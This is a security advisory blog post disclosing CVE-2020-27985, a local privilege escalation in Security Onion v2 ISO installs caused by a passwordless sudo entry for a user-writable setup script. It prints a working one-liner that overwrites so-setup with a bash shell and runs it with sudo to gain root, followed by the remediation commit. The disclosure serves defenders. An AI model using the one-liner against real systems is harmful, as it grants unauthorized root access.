Skip to content
s1gh.sh
Go back

CVE-2020-27985 - Security Onion - Local Privilege Escalation

Impact

Security Onion v2 (versions prior to 2.3.10) is vulnerable to a Local Privilege Escalation vulnerability when ISO install is used to install SO.
An attacker gaining access to the user created during the initial setup of SO, can abuse an incorrect sudo configuration and escalate to root without supplying a password.

What is Security Onion

Security Onion is a free and open source Linux distribution for threat hunting, enterprise security monitoring, and log management. It includes TheHive, Playbook and Sigma, Fleet and osquery, CyberChef, Elasticsearch, Logstash, Kibana, Suricata, Zeek, Wazuh, and many other security tools. Security Onion has been downloaded over 1 million times and is being used by security teams around the world to monitor and defend their enterprises.

Versions affected

Vulnerability

By default, the user created during the initial setup of SO can execute so-setup without supplying a password, as shown below:

testuser@TEST-IDS:/home/testuser$ sudo -l 
User testuser may run the following commands on TEST-IDS:
    (ALL) ALL
    (ALL) NOPASSWD: /home/testuser/SecurityOnion/setup/so-setup

Since we have write access to this file, an attacker can prepend /bin/bash to /home/<user>/SecurityOnion/setup/so-setup or overwrite this file with custom code, and in turn escalate to root by executing sudo so-setup.

This can easily be achieved with a simple oneliner:

testuser@TEST-IDS:~$ echo -e '#!/bin/bash\n/bin/bash' > /home/testuser/SecurityOnion/setup/so-setup ; sudo /home/testuser/SecurityOnion/setup/so-setup
root@TEST-IDS:/home/testuser# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

Patch

Since everything else in Security Onion requires a password, it makes no sense allowing so-setup to be executed without a password.
After the most recent update (v2.3.10) the following steps were taken to remediate this vulnerability:

The following commit was pushed to the SO git repo and will remove the affected sudo privileges on new installs, starting from v2.3.10:

if [[ $install_type == 'iso' ]]; then
    info "Removing so-setup permission entry from sudoers file"
    sed -i '/so-setup/d' /etc/sudoers
fi

If you’re upgrading from v2.3.2 you will be prompted to remove the affected sudo configuration, as shown below:

up_2.3.2_to_2.3.10() {
	if grep -q "so-setup" /etc/sudoers; then
		echo "[ INFO ] There is an entry for so-setup in the sudoers file, this can be safely deleted using \"visudo\"."
	fi
}

Timeline

References



Previous Post
PDF + JavaScript = MFT Corruption?
Next Post
Ho-Ho-Honeypot